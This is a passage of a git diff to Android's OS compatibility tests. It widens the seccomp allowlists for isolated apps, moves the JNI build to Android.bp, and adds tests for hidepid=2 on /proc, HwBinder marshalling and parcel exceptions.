diff --git a/tests/tests/os/AndroidTest.xml b/tests/tests/os/CtsOsTestCases.xml
similarity index 100%
rename from tests/tests/os/AndroidTest.xml
rename to tests/tests/os/CtsOsTestCases.xml
diff --git a/tests/tests/os/TEST_MAPPING b/tests/tests/os/TEST_MAPPING
new file mode 100644
index 0000000..ad2a688
--- /dev/null
+++ b/tests/tests/os/TEST_MAPPING
@@ -0,0 +1,18 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsOsTestCases",
+      "options": [
+        {
+          "exclude-filter": "android.os.cts.BuildTest#testSdkInt"
+        },
+        {
+          "exclude-filter": "android.os.cts.StrictModeTest#testNonSdkApiUsage"
+        },
+        {
+          "exclude-filter": "android.os.cts.UsbDebuggingTest#testUsbDebugging"
+        }
+      ]
+    }
+  ]
+}
diff --git a/tests/tests/os/assets/minijail/isolated-arm.policy b/tests/tests/os/assets/minijail/isolated-arm.policy
index 2e47d92..a54d9f4 100644
--- a/tests/tests/os/assets/minijail/isolated-arm.policy
+++ b/tests/tests/os/assets/minijail/isolated-arm.policy
@@ -16,11 +16,13 @@
 fchown32: return EPERM
 
 # fnctl64: restrict cmd
-fcntl64: arg1 == F_GETFL || arg1 == F_GETFD || arg1 == F_SETFD || arg1 == F_SETLK || arg1 == F_SETLKW || arg1 == F_GETLK || arg1 == F_DUPFD
+#   F_DUPFD_CLOEXEC=1030
+fcntl64: arg1 == F_GETFL || arg1 == F_GETFD || arg1 == F_SETFD || arg1 == F_SETLK || arg1 == F_SETLKW || arg1 == F_GETLK || arg1 == F_DUPFD || arg1 == 1030
 
 fork: return EPERM
 fstat64: 1
 fstatat64: 1
+fstatfs64: 1
 ftruncate64: 1
 futimesat: return EPERM
 getdents: 1
diff --git a/tests/tests/os/assets/minijail/isolated-arm64.policy b/tests/tests/os/assets/minijail/isolated-arm64.policy
index 66be1f7..6fa3950 100644
--- a/tests/tests/os/assets/minijail/isolated-arm64.policy
+++ b/tests/tests/os/assets/minijail/isolated-arm64.policy
@@ -1,5 +1,6 @@
 # Minijail Seccomp Policy for isolated_app processes on AARCH64.
 
+fstatfs: 1
 getdents64: 1
 getrlimit: 1
 
diff --git a/tests/tests/os/assets/minijail/isolated-common.policy b/tests/tests/os/assets/minijail/isolated-common.policy
index 48cfd49..a8f4e25 100644
--- a/tests/tests/os/assets/minijail/isolated-common.policy
+++ b/tests/tests/os/assets/minijail/isolated-common.policy
@@ -7,8 +7,10 @@
 capset: return EPERM
 chdir: return EPERM
 
-# clock_gettime: clk_id=={CLOCK_BOOTTIME,CLOCK_MONOTONIC,CLOCK_MONOTONIC_COARSE,CLOCK_PROCESS_CPUTIME_ID,CLOCK_REALTIME,CLOCK_REALTIME_COARSE}
-clock_gettime: arg0 == 0 || arg0 == 1 || arg0 == 2 || arg0 == 5 || arg0 == 6 || arg0 == 7
+# clock_gettime: clk_id=={CLOCK_BOOTTIME,CLOCK_MONOTONIC,CLOCK_MONOTONIC_COARSE,CLOCK_THREAD_CPUTIME_ID,CLOCK_PROCESS_CPUTIME_ID,CLOCK_REALTIME,CLOCK_REALTIME_COARSE} || (clk_id < 0)
+# clock_gettime accepts negative clk_id to access clock_posix_dynamic and clock_posix_cpu.
+# This policy assumes clk_id is at least 32-bit wide, where the MSB means it is negative.
+clock_gettime: arg0 == 0 || arg0 == 1 || arg0 == 2 || arg0 == 3 || arg0 == 5 || arg0 == 6 || arg0 == 7 || arg0 & 0x80000000
 
 clone: 1
 close: 1
@@ -29,7 +31,8 @@
 fchown: return EPERM
 
 # fnctl: restrict cmd
-fcntl: arg1 == F_GETFL || arg1 == F_GETFD || arg1 == F_SETFD || arg1 == F_SETLK || arg1 == F_SETLKW || arg1 == F_GETLK || arg1 == F_DUPFD
+#   F_DUPFD_CLOEXEC=1030
+fcntl: arg1 == F_GETFL || arg1 == F_GETFD || arg1 == F_SETFD || arg1 == F_SETLK || arg1 == F_SETLKW || arg1 == F_GETLK || arg1 == F_DUPFD || arg1 == 1030
 
 fdatasync: 1
 flock: 1
@@ -90,7 +93,7 @@
 ppoll: 1
 
 # prctl: PR_SET_VMA=0x53564d41, PR_SET_TIMERSLACK_PID={41,43,127} depending on kernel version
-prctl: arg0 == PR_GET_NAME || arg0 == PR_SET_NAME || arg0 == PR_GET_DUMPABLE || arg0 == PR_SET_DUMPABLE || arg0 == PR_SET_PTRACER || arg0 == 0x53564d41 || arg0 == 41 || arg0 == 43 || arg0 == 127
+prctl: arg0 == PR_GET_NAME || arg0 == PR_SET_NAME || arg0 == PR_GET_DUMPABLE || arg0 == PR_SET_DUMPABLE || arg0 == PR_SET_PTRACER || arg0 == PR_SET_TIMERSLACK || arg0 == 0x53564d41 || arg0 == 41 || arg0 == 43 || arg0 == 127
 
 pread64: 1
 pselect6: 1
diff --git a/tests/tests/os/assets/minijail/isolated-i386.policy b/tests/tests/os/assets/minijail/isolated-i386.policy
index a5798d0..55bd74b 100644
--- a/tests/tests/os/assets/minijail/isolated-i386.policy
+++ b/tests/tests/os/assets/minijail/isolated-i386.policy
@@ -11,11 +11,13 @@
 fchown32: return EPERM
 
 # fnctl64: restrict cmd
-fcntl64: arg1 == F_GETFL || arg1 == F_GETFD || arg1 == F_SETFD || arg1 == F_SETLK || arg1 == F_SETLKW || arg1 == F_GETLK || arg1 == F_DUPFD
+#   F_DUPFD_CLOEXEC=1030
+fcntl64: arg1 == F_GETFL || arg1 == F_GETFD || arg1 == F_SETFD || arg1 == F_SETLK || arg1 == F_SETLKW || arg1 == F_GETLK || arg1 == F_DUPFD || arg1 == 1030
 
 fork: return EPERM
 fstat64: 1
 fstatat64: 1
+fstatfs64: 1
 ftruncate64: 1
 futimesat: return EPERM
 getdents: 1
diff --git a/tests/tests/os/assets/minijail/isolated-x86-64.policy b/tests/tests/os/assets/minijail/isolated-x86-64.policy
index 45ea743..79e62e9 100644
--- a/tests/tests/os/assets/minijail/isolated-x86-64.policy
+++ b/tests/tests/os/assets/minijail/isolated-x86-64.policy
@@ -12,6 +12,7 @@
 epoll_create: 1
 epoll_wait: 1
 fork: return EPERM
+fstatfs: 1
 futimesat: return EPERM
 getdents64: 1
 getdents: return EPERM
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
index f11c82a..331bae0 100644
--- a/tests/tests/os/assets/platform_versions.txt
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -1 +1 @@
-9
\ No newline at end of file
+R
diff --git a/tests/tests/os/jni/Android.bp b/tests/tests/os/jni/Android.bp
new file mode 100644
index 0000000..616fe2e
--- /dev/null
+++ b/tests/tests/os/jni/Android.bp
@@ -0,0 +1,81 @@
+// Copyright (C) 2010 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_defaults {
+    name: "libctsos_jni_defaults",
+
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-Wno-inline-asm",
+        "-Wno-unused-const-variable",
+    ],
+
+    shared_libs: [
+        "libnativehelper_compat_libc++",
+        "liblog",
+        "libdl",
+        "libandroid",
+    ],
+    stl: "libc++_static",
+}
+
+cc_library_shared {
+    name: "libctsos_jni",
+    defaults: ["libctsos_jni_defaults"],
+
+    srcs: [
+        "CtsOsJniOnLoad.cpp",
+        "android_os_cts_TaggedPointer.cpp",
+        "android_os_cts_HardwareName.cpp",
+        "android_os_cts_OSFeatures.cpp",
+        "android_os_cts_NoExecutePermissionTest.cpp",
+        "android_os_cts_SeccompTest.cpp",
+        "android_os_cts_SharedMemory.cpp",
+        "android_os_cts_SPMITest.cpp",
+    ],
+
+    whole_static_libs: ["libctsos_jni_arm"],
+    static_libs: [
+        "libminijail",
+        "external_seccomp_tests",
+    ],
+
+    // This define controls the behavior of OSFeatures.needsSeccompSupport().
+    cflags: ["-DARCH_SUPPORTS_SECCOMP"],
+}
+
+cc_library_static {
+    name: "libctsos_jni_arm",
+    defaults: ["libctsos_jni_defaults"],
+
+    srcs: ["android_os_cts_CpuInstructions.cpp"],
+
+    arch: {
+        arm: {
+            cppflags: [
+                // Let's overwrite -mcpu in case it's set to some ARMv8 core by
+                // TARGET_2ND_CPU_VARIANT and causes clang to ignore the -march below.
+                "-mcpu=generic",
+
+                // The ARM version of this library must be built using ARMv7 ISA (even if it
+                // can be run on armv8 cores) since one of the tested instruction, swp, is
+                // only supported in ARMv7 (and older) cores, and obsolete in ARMv8.
+                "-march=armv7-a",
+            ],
+            instruction_set: "arm",
+        },
+    },
+}
diff --git a/tests/tests/os/jni/Android.mk b/tests/tests/os/jni/Android.mk
deleted file mode 100644
index 58b9d01..0000000
--- a/tests/tests/os/jni/Android.mk
+++ /dev/null
@@ -1,72 +0,0 @@
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsos_jni
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-		CtsOsJniOnLoad.cpp \
-		android_os_cts_CpuInstructions.cpp.arm \
-		android_os_cts_TaggedPointer.cpp \
-		android_os_cts_HardwareName.cpp \
-		android_os_cts_OSFeatures.cpp \
-		android_os_cts_NoExecutePermissionTest.cpp \
-		android_os_cts_SeccompTest.cpp \
-		android_os_cts_SharedMemory.cpp \
-		android_os_cts_SPMITest.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog libdl libandroid
-LOCAL_CXX_STL := none
-
-LOCAL_STATIC_LIBRARIES := libc++_static libminijail
-
-# Select the architectures on which seccomp-bpf are supported. This is used to
-# include extra test files that will not compile on architectures where it is
-# not supported.
-ARCH_SUPPORTS_SECCOMP := 1
-ifeq ($(strip $(TARGET_ARCH)),mips)
-	ARCH_SUPPORTS_SECCOMP = 0
-endif
-ifeq ($(strip $(TARGET_ARCH)),mips64)
-	ARCH_SUPPORTS_SECCOMP = 0
-endif
-
-ifeq ($(ARCH_SUPPORTS_SECCOMP),1)
-	LOCAL_STATIC_LIBRARIES += external_seccomp_tests
-
-	# This define controls the behavior of OSFeatures.needsSeccompSupport().
-	LOCAL_CFLAGS += -DARCH_SUPPORTS_SECCOMP
-endif
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
-LOCAL_CFLAGS += -Wno-inline-asm -Wno-unused-const-variable
-
-# Let's overwrite -mcpu in case it's set to some ARMv8 core by
-# TARGET_2ND_CPU_VARIANT and causes clang to ignore the -march below.
-LOCAL_CPPFLAGS_arm := -mcpu=generic
-
-# The ARM version of this library must be built using ARMv7 ISA (even if it
-# can be run on armv8 cores) since one of the tested instruction, swp, is
-# only supported in ARMv7 (and older) cores, and obsolete in ARMv8.
-LOCAL_CPPFLAGS_arm += -march=armv7-a
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/os/jni/android_os_cts_SeccompTest.cpp b/tests/tests/os/jni/android_os_cts_SeccompTest.cpp
index b853c96..b6b32f5 100644
--- a/tests/tests/os/jni/android_os_cts_SeccompTest.cpp
+++ b/tests/tests/os/jni/android_os_cts_SeccompTest.cpp
@@ -18,28 +18,18 @@
 #include <jni.h>
 #include <string.h>
 #include <time.h>
+#include <unistd.h>
 
 #if defined(ARCH_SUPPORTS_SECCOMP)
 #include <libminijail.h>
 #include <seccomp_bpf_tests.h>
 #endif
 
-static const char TAG[] = "SeccompBpfTest-Native";
-
 jboolean android_security_cts_SeccompBpfTest_runKernelUnitTest(
       JNIEnv* env, jobject thiz __unused, jstring name) {
 #if defined(ARCH_SUPPORTS_SECCOMP)
     const char* nameStr = env->GetStringUTFChars(name, nullptr);
-
-    for (struct __test_metadata* t = get_seccomp_test_list(); t; t = t->next) {
-        if (strcmp(t->name, nameStr) == 0) {
-            __android_log_print(ANDROID_LOG_INFO, TAG, "Start: %s", t->name);
-            __run_test(t);
-            __android_log_print(ANDROID_LOG_INFO, TAG, "%s: %s",
-                t->passed ? "PASS" : "FAIL", t->name);
-            return t->passed;
-        }
-    }
+    return run_seccomp_test(nameStr);
 #endif  // ARCH_SUPPORTS_SECCOMP
 
     return false;
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index b371ad1..66f181b 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -16,7 +16,7 @@
 
 package android.os.cts;
 
-import static android.os.Build.VERSION.CODENAME;
+import static android.os.Build.VERSION.ACTIVE_CODENAMES;
 import static android.os.Build.VERSION_CODES.CUR_DEVELOPMENT;
 
 import android.os.Build;
@@ -225,6 +225,7 @@
 
         // CUR_DEVELOPMENT must be larger than any released version.
         Field[] fields = Build.VERSION_CODES.class.getDeclaredFields();
+        List<String> codenames = Arrays.asList(ACTIVE_CODENAMES);
         for (Field field : fields) {
             if (field.getType().equals(int.class) && Modifier.isStatic(field.getModifiers())) {
                 String fieldName = field.getName();
@@ -238,7 +239,7 @@
                     // It should be okay to change the value of this constant in future, but it
                     // should at least be a conscious decision.
                     assertEquals(10000, fieldValue);
-                } else if (fieldName.equals(CODENAME) && !CODENAME.equals("REL")) {
+                } else if (codenames.contains(fieldName)) {
                     // This is the current development version. Note that fieldName can
                     // become < CUR_DEVELOPMENT before CODENAME becomes "REL", so we
                     // can't assertEquals(CUR_DEVELOPMENT, fieldValue) here.
diff --git a/tests/tests/os/src/android/os/cts/DebugTest.java b/tests/tests/os/src/android/os/cts/DebugTest.java
index 0f19078..5125719 100644
--- a/tests/tests/os/src/android/os/cts/DebugTest.java
+++ b/tests/tests/os/src/android/os/cts/DebugTest.java
@@ -26,6 +26,8 @@
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 import java.util.Map;
@@ -33,6 +35,9 @@
 public class DebugTest extends AndroidTestCase {
     private static final Logger Log = Logger.getLogger(DebugTest.class.getName());
 
+    // Static list here to avoid R8 optimizations in #testGetAndReset causing wrong alloc counts
+    private static final List<int[]> TEST_ALLOC = new ArrayList<>();
+
     @Override
     public void tearDown() throws Exception {
         super.tearDown();
@@ -123,7 +128,8 @@
         final int MIN_GLOBAL_ALLOC_SIZE = MIN_GLOBAL_ALLOC_COUNT * ARRAY_SIZE;
         for(int i = 0; i < MIN_GLOBAL_ALLOC_COUNT; i++){
             // for test alloc huge memory
-            int[] test = new int[ARRAY_SIZE];
+            TEST_ALLOC.add(new int[ARRAY_SIZE]);
+            TEST_ALLOC.clear();
         }
 
         assertTrue(Debug.getGlobalAllocCount() >= MIN_GLOBAL_ALLOC_COUNT);
diff --git a/tests/tests/os/src/android/os/cts/EnvironmentTest.java b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
index 0f2ac62..8b6a95f 100644
--- a/tests/tests/os/src/android/os/cts/EnvironmentTest.java
+++ b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
@@ -68,6 +68,28 @@
     }
 
     /**
+     * verify hidepid=2 on /proc
+     */
+    public void testHidePid2() throws Exception {
+        try (BufferedReader br = new BufferedReader(new FileReader("/proc/mounts"))) {
+            String line;
+            while ((line = br.readLine()) != null) {
+                final String[] fields = line.split(" ");
+                final String source = fields[0];
+                final String options = fields[3];
+
+                if (source.equals("proc") && !options.contains("hidepid=2")) {
+                    fail("proc filesystem mounted without hidepid=2");
+                }
+            }
+        }
+    }
+
+    public void testHidePid2_direct() throws Exception {
+        assertFalse(new File("/proc/1").exists());
+    }
+
+    /**
      * Verify that all writable block filesystems are mounted with "resgid" to
      * mitigate disk-full trouble.
      */
@@ -83,7 +105,12 @@
         final long maxInodes = maxsize / 4096;
         // Assuming the smallest storage would be 4GB, min # of free inodes
         // in EXT4/F2FS must be larger than 128k for Android to work properly.
-        final long minInodes = 128 * 1024;
+        long minInodes = 128 * 1024;
+        final long size4GB = 4294967296l;
+        //If the storage size is smaller than 4GB, let's consider 32k for 1GB.
+        if (maxsize < size4GB) {
+            minInodes = 32 * 1024;
+        }
 
         if (stat.f_ffree >= minInodes && stat.f_ffree <= maxInodes
             && stat.f_favail <= stat.f_ffree) {
diff --git a/tests/tests/os/src/android/os/cts/ExceptionalParcelable.aidl b/tests/tests/os/src/android/os/cts/ExceptionalParcelable.aidl
new file mode 100644
index 0000000..7d09693
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/ExceptionalParcelable.aidl
@@ -0,0 +1,19 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+parcelable ExceptionalParcelable;
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/ExceptionalParcelable.java b/tests/tests/os/src/android/os/cts/ExceptionalParcelable.java
new file mode 100644
index 0000000..333cf57
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/ExceptionalParcelable.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.os.cts;
+
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+
+public class ExceptionalParcelable implements Parcelable {
+    private final IBinder mBinder;
+
+    ExceptionalParcelable(IBinder binder) {
+        mBinder = binder;
+    }
+
+    public int describeContents() {
+        return 0;
+    }
+
+    /**
+     * Write a binder to the Parcel and then throw an exception
+     */
+    public void writeToParcel(Parcel out, int flags) {
+        // Write a binder for the exception to overwrite
+        out.writeStrongBinder(mBinder);
+
+        // Throw an exception
+        throw new IllegalArgumentException("A truly exceptional message");
+    }
+
+    public static final Creator<ExceptionalParcelable> CREATOR =
+            new Creator<ExceptionalParcelable>() {
+                @Override
+                public ExceptionalParcelable createFromParcel(Parcel source) {
+                    return new ExceptionalParcelable(source.readStrongBinder());
+                }
+
+                @Override
+                public ExceptionalParcelable[] newArray(int size) {
+                    return new ExceptionalParcelable[size];
+                }
+            };
+}
diff --git a/tests/tests/os/src/android/os/cts/HardwareNameTest.java b/tests/tests/os/src/android/os/cts/HardwareNameTest.java
index 7a754d1..f17a826 100644
--- a/tests/tests/os/src/android/os/cts/HardwareNameTest.java
+++ b/tests/tests/os/src/android/os/cts/HardwareNameTest.java
@@ -19,6 +19,7 @@
 import android.test.AndroidTestCase;
 import android.os.cts.HardwareName;
 
+
 public class HardwareNameTest extends AndroidTestCase {
 
     @Override
diff --git a/tests/tests/os/src/android/os/cts/HwBinderTest.java b/tests/tests/os/src/android/os/cts/HwBinderTest.java
new file mode 100644
index 0000000..9bc6a73
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/HwBinderTest.java
@@ -0,0 +1,279 @@
+/*
+ * Copyright (C) 2019 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.fail;
+
+import android.hidl.manager.V1_0.IServiceManager;
+import android.hidl.manager.V1_0.IServiceNotification;
+import android.os.HwBlob;
+import android.os.NativeHandle;
+import android.os.RemoteException;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileDescriptor;
+import java.io.IOException;
+import java.util.Calendar;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
+/**
+ * Unit tests for HwBinder.
+ *
+ * If you want to create a real hwbinder service, using hidl-gen will be
+ * *much* *much* easier. Using something like this is strongly not recommended
+ * because you can't take advantage of the versioning tools, the C++ and Java
+ * interoperability, etc..
+ */
+@RunWith(AndroidJUnit4.class)
+public class HwBinderTest {
+
+    private static class MarshalCase {
+        interface DoMarshalCase {
+            void test(HwBlob blob, int offset);
+        }
+
+        MarshalCase(String name, int size, DoMarshalCase method) {
+            mName = name;
+            mSize = size;
+            mMethod = method;
+        }
+
+        private String mName;
+        private int mSize;
+        private DoMarshalCase mMethod;
+
+        public String getName() {
+            return mName;
+        }
+
+        void test(int deltaSize, int offset) {
+            HwBlob blob = new HwBlob(mSize + deltaSize);
+            mMethod.test(blob, offset);
+        }
+    }
+
+    private static final MarshalCase[] sMarshalCases = {
+        new MarshalCase("Bool", 1, (blob, offset) -> {
+            blob.putBool(offset, true);
+            assertEquals(true, blob.getBool(offset));
+        }),
+        new MarshalCase("Int8", 1, (blob, offset) -> {
+            blob.putInt8(offset, (byte) 3);
+            assertEquals((byte) 3, blob.getInt8(offset));
+        }),
+        new MarshalCase("Int16", 2, (blob, offset) -> {
+            blob.putInt16(offset, (short) 3);
+            assertEquals((short) 3, blob.getInt16(offset));
+        }),
+        new MarshalCase("Int32", 4, (blob, offset) -> {
+            blob.putInt32(offset, 3);
+            assertEquals(3, blob.getInt32(offset));
+        }),
+        new MarshalCase("Int64", 8, (blob, offset) -> {
+            blob.putInt64(offset, 3);
+            assertEquals(3, blob.getInt64(offset));
+        }),
+        new MarshalCase("Float", 4, (blob, offset) -> {
+            blob.putFloat(offset, 3.0f);
+            assertEquals(3.0f, blob.getFloat(offset), 0.0f);
+        }),
+        new MarshalCase("Double", 8, (blob, offset) -> {
+            blob.putDouble(offset, 3.0);
+            assertEquals(3.0, blob.getDouble(offset), 0.0);
+        }),
+        new MarshalCase("String", 16, (blob, offset) -> {
+            blob.putString(offset, "foo");
+            assertEquals("foo", blob.getString(offset));
+        }),
+        new MarshalCase("BoolArray", 2, (blob, offset) -> {
+            blob.putBoolArray(offset, new boolean[]{true, false});
+            assertEquals(true, blob.getBool(offset));
+            assertEquals(false, blob.getBool(offset + 1));
+        }),
+        new MarshalCase("Int8Array", 2, (blob, offset) -> {
+            blob.putInt8Array(offset, new byte[]{(byte) 3, (byte) 2});
+            assertEquals((byte) 3, blob.getInt8(offset));
+            assertEquals((byte) 2, blob.getInt8(offset + 1));
+        }),
+        new MarshalCase("Int16Array", 4, (blob, offset) -> {
+            blob.putInt16Array(offset, new short[]{(short) 3, (short) 2});
+            assertEquals((short) 3, blob.getInt16(offset));
+            assertEquals((short) 2, blob.getInt16(offset + 2));
+        }),
+        new MarshalCase("Int32Array", 8, (blob, offset) -> {
+            blob.putInt32Array(offset, new int[]{3, 2});
+            assertEquals(3, blob.getInt32(offset));
+            assertEquals(2, blob.getInt32(offset + 4));
+        }),
+        new MarshalCase("Int64Array", 16, (blob, offset) -> {
+            blob.putInt64Array(offset, new long[]{3, 2});
+            assertEquals(3, blob.getInt64(offset));
+            assertEquals(2, blob.getInt64(offset + 8));
+        }),
+        new MarshalCase("FloatArray", 8, (blob, offset) -> {
+            blob.putFloatArray(offset, new float[]{3.0f, 2.0f});
+            assertEquals(3.0f, blob.getFloat(offset), 0.0f);
+            assertEquals(2.0f, blob.getFloat(offset + 4), 0.0f);
+        }),
+        new MarshalCase("DoubleArray", 16, (blob, offset) -> {
+            blob.putDoubleArray(offset, new double[]{3.0, 2.0});
+            assertEquals(3.0, blob.getDouble(offset), 0.0);
+            assertEquals(2.0, blob.getDouble(offset + 8), 0.0);
+        }),
+    };
+
+    @Test
+    public void testAccurateMarshall() {
+        for (MarshalCase marshalCase : sMarshalCases) {
+            marshalCase.test(0 /* deltaSize */, 0 /* offset */);
+        }
+    }
+    @Test
+    public void testAccurateMarshallWithExtraSpace() {
+        for (MarshalCase marshalCase : sMarshalCases) {
+            marshalCase.test(1 /* deltaSize */, 0 /* offset */);
+        }
+    }
+    @Test
+    public void testAccurateMarshallWithExtraSpaceAndOffset() {
+        for (MarshalCase marshalCase : sMarshalCases) {
+            marshalCase.test(1 /* deltaSize */, 1 /* offset */);
+        }
+    }
+    @Test
+    public void testNotEnoughSpaceBecauseOfSize() {
+        for (MarshalCase marshalCase : sMarshalCases) {
+            try {
+                marshalCase.test(-1 /* deltaSize */, 0 /* offset */);
+                fail("Marshal succeeded but not enough space for " + marshalCase.getName());
+            } catch (IndexOutOfBoundsException e) {
+                // we expect to see this
+            }
+        }
+    }
+    @Test
+    public void testNotEnoughSpaceBecauseOfOffset() {
+        for (MarshalCase marshalCase : sMarshalCases) {
+            try {
+                marshalCase.test(0 /* deltaSize */, 1 /* offset */);
+                fail("Marshal succeeded but not enough space for " + marshalCase.getName());
+            } catch (IndexOutOfBoundsException e) {
+                // we expect to see this
+            }
+        }
+    }
+    @Test
+    public void testNotEnoughSpaceBecauseOfSizeAndOffset() {
+        for (MarshalCase marshalCase : sMarshalCases) {
+            try {
+                marshalCase.test(-1 /* deltaSize */, 1 /* offset */);
+                fail("Marshal succeeded but not enough space for " + marshalCase.getName());
+            } catch (IndexOutOfBoundsException e) {
+                // we expect to see this
+            }
+        }
+    }
+
+    private static class ServiceNotification extends IServiceNotification.Stub {
+        public Lock lock = new ReentrantLock();
+        public Condition condition = lock.newCondition();
+        public boolean registered = false;
+
+        @Override
+        public void onRegistration(String fqName, String name, boolean preexisting) {
+            registered = true;
+            condition.signal();
+        }
+    }
+
+    @Test
+    public void testHwBinder() throws RemoteException {
+        ServiceNotification notification = new ServiceNotification();
+
+        IServiceManager manager = IServiceManager.getService();
+        manager.registerForNotifications(IServiceManager.kInterfaceName, "default", notification);
+
+        Calendar deadline = Calendar.getInstance();
+        deadline.add(Calendar.SECOND, 10);
+
+        notification.lock.lock();
+        try {
+            while (!notification.registered && Calendar.getInstance().before(deadline)) {
+                try {
+                    notification.condition.awaitUntil(deadline.getTime());
+                } catch (InterruptedException e) {
+
+                }
+            }
+        } finally {
+            notification.lock.unlock();
+        }
+
+        assertTrue(notification.registered);
+    }
+
+    @Test
+    public void testEmptyNativeHandle() throws IOException {
+        NativeHandle handle = new NativeHandle();
+
+        assertFalse(handle.hasSingleFileDescriptor());
+        assertArrayEquals(new FileDescriptor[]{}, handle.getFileDescriptors());
+        assertArrayEquals(new int[]{}, handle.getInts());
+
+        handle.close();
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testEmptyHandleInvalidatedAfterClose() throws IOException {
+        NativeHandle handle = new NativeHandle();
+        handle.close();
+        handle.close();
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testEmptyHandleHasNoSingleFileDescriptor() {
+        NativeHandle handle = new NativeHandle();
+        handle.getFileDescriptor();
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testFullHandleHasNoSingleFileDescriptor() {
+        NativeHandle handle = new NativeHandle(
+            new FileDescriptor[]{FileDescriptor.in, FileDescriptor.in},
+            new int[]{}, false /*owns*/);
+        handle.getFileDescriptor();
+    }
+
+    @Test
+    public void testSingleFileDescriptor() {
+        NativeHandle handle = new NativeHandle(FileDescriptor.in, false /*own*/);
+
+        assertTrue(handle.hasSingleFileDescriptor());
+        assertArrayEquals(new FileDescriptor[]{FileDescriptor.in}, handle.getFileDescriptors());
+        assertArrayEquals(new int[]{}, handle.getInts());
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/IParcelExceptionService.aidl b/tests/tests/os/src/android/os/cts/IParcelExceptionService.aidl
new file mode 100644
index 0000000..ce7af6d
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/IParcelExceptionService.aidl
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
